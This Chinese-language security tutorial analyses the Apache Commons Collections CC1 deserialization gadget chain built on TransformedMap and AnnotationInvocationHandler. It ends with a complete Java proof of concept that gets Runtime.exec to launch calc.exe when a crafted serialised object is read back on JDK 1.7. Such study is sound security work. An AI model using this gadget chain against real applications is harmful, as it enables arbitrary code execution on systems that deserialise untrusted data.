Commons Collections简介
Apache Commons Collections是一个扩展了JAVA标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。
Transformer
cc1链中常见的利用路线有两种,分别是TransformedMap链和LazyMap链,触发的方式基本相同,这里我们重点分析TransformedMap链。
但不管TransformedMap利用链还是LazyMap利用链其实核心都是在调用实现了transformer接口的关键函数所构成的,在构造transformer反射利用链前可以关注一下transformer接口在源码注释中解释作用是将输入的对象转换成输出的对象。而构造利用链就需要用到实现了Transformer接口并重写了该接口中的transform函数,分别是ConstantTransformer,invokerTransformer,ChainedTransformer。
invokerTransformer
首先从invokerTransformer开始分析,以下是invokerTransformer的构造函数写transform()函数的主要内容。
transform函数的功能简单描述一下就是通过java的反射机制调用input对象中的指定函数,函数名和参数类型分别是invokerTransformer对象实例化时传入的iMethodName和iParamTypes,利用传入的函数名和参数可控这点我们可以构造一个恶意的transform链来达成任意代码执行的效果。
ConstantTransformer
接着再来看看ConstantTransformer类
从上面ConstantTransformer类的构造函数可以看到,当ConstantTransformer的对象实例化时会将传入的对象赋值给成员属性iConstant,而这个属性在重写的transform函数被调用时返回。
ChainedTransformer
还是重点来关注ChainedTransformer类中的构造函数和重写的transform函数
我们可以看到传入进ChainedTransformer的参数是transform类型的数组,然后在ChainedTransformer对象实例化时会将传入的这个数组赋值给成员变量iTransformers在调用transform()函数时会将iTransformers数组内的每个transform对象的transform()函数调用一遍。读起来有点绕口是吗,这个反射链执行的其实是((Runtime) Runtime.class.getMethod(“getRuntime”).invoke(“null”)).exec(“calc.exe”);
运行如图所示的demo可以看到成功的弹出了计算器,
现在利用链有了,下一步要做的就是去找反序列化漏洞的触发点。目前已知java反序列化漏洞利用的核心是可序列化对象重写readObject函数并定义了一些危险的操作(例如调用Runtime类的exec执行系统命令)。而从上述的demo1中可以发现我们还需要的是在TransformedMap中可以调用到ChainedTransformer的transform函数机会。接下来的重点就是找触发transform函数和重写readObject函数的方式。
TransformedMap
commons-collections组件中有两个实现了Serializable接口的类,分别是LazyMap和TransformedMap,也就是cc链中常用的两个类。
TransformedMap类是Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。
首先从TransformedMap源码入手
可以看到在TransformedMap中有三个调用到transform的函数transfomKey()、transformValue()和checkSetValue()。这三个函数都是protected属性无法在外部直接被访问,但可以看到checkSetValue的注释中有下图中这样一段话,也就是说当TransformedMap的对象作为map被调用setvalue函数时触发的实际上是checkSetValue()。因此我们后面需要做的就是想办法调用到setvalue()函数。
另外在TransformedMap类中还有一个decorate()函数,decorate()函数会根据TransformedMap的构造函数中传入的参数返回一个TransformedMap对象。
AnnotationInvocationHandler
触发transform函数的方式已经建立好了,下面需要做的是重写了readObject()函数调用到TransformedMap对象的setValue()函数,从知名反序列化工具 *ysoserial*的源码中可以看到作者选择了AnnotationInvocationHandler这个类来重写readObject。
AnnotationInvocationHandler是jdk下sun.reflect.annotation包中的一个类它实现了Serializable接口重写readObject(),其中还存在一个map属性的成员变量,在构造利用链时需要做的就是在AnnotationInvocationHandler实例化时将前面构造好的TransformedMap赋值个这个memberValues。但值得注意的是java8u71之后的版本修改了readObject不能利用。
版本高一点的jdk在AnnotationInvocationHandler的readobject函数可读性很差且不能利用,观察jdk1.7版本中AnnotationInvocationHandler重写的readObject函数。
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException(“Non-annotation type in annotation serial stream”);
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + “[“ + var8 + “]”)).setMember((Method)var2.members().get(var6)));
}
}
}
}
简单解释以下就是获取AnnotationInvocationHandler实例化的对象中的成员变量memberValues对其迭代。而下面这段代码正是我们需要用到的调用setValue()。
在源码中可以看到AnnotationInvocationHandler类的访问权限不是public,因此只能通过反射的方式获取到对象。
总结
利用链流程:
通过Transformer[] transformers = new Transformer[]{}构造恶意transformers数组—>将Transformer数组传入transformerChain方便调用数组内的每一个transform函数—>创建map,调用TransformedMap中的decorate将transformerChain传入并返回TransformedMap对象—>通过反射实例化AnnotationInvocationHandler并将TransformedMap传个生成的对象调用readObject()触发checkSetValue()—>序列化—>反序列化触发漏洞
poc:
import java.io.*;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Constructor;
import java.lang.annotation.Target;
import org.apache.commons.collections.map.TransformedMap;
public class test {
public static void main(String[] args) throws Exception{
//核心利用代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(“getMethod”, new Class[]{String.class, Class[].class}, new Object[]{“getRuntime”, new Class[0]}),
new InvokerTransformer(“invoke”, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer(“exec”, new Class[]{String.class}, new Object[]{“calc.exe”})
};
//将数组transformers传给ChainedTransformer,构造利用链
Transformer transformerChain = new ChainedTransformer(transformers);
//触发漏洞
Map map = new HashMap();
map.put(“value”, “test”);
//通过反射触发利用链
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName(“sun.reflect.annotation.AnnotationInvocationHandler”);
//获得AnnotationInvocationHandler的构造器
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
//将transformedMap传给AnnotationInvocationHandler的构造
Object instance=ctor.newInstance(Target.class, transformedMap);
//序列化
FileOutputStream fileOutputStream = new FileOutputStream(“serialize.ser”);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(instance);
objectOutputStream.close();
//反序列化
FileInputStream fileInputStream = new FileInputStream(“serialize.ser”);
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Object result = objectInputStream.readObject();
objectInputStream.close();
}
}
在jdk1.7版本下运行上述demo可观察到成功执行构造的恶意代码
https://blog.csdn.net/qq_35733751/article/details/118387718
https://paper.seebug.org/1034/
https://zhuanlan.zhihu.com/p/359194253
https://security.tencent.com/index.php/blog/msg/97
https://www.cnblogs.com/yyhuni/p/14777166.html
https://github.com/Maskhe/javasec/blob/master/3. apache commons-collections中的反序列化.md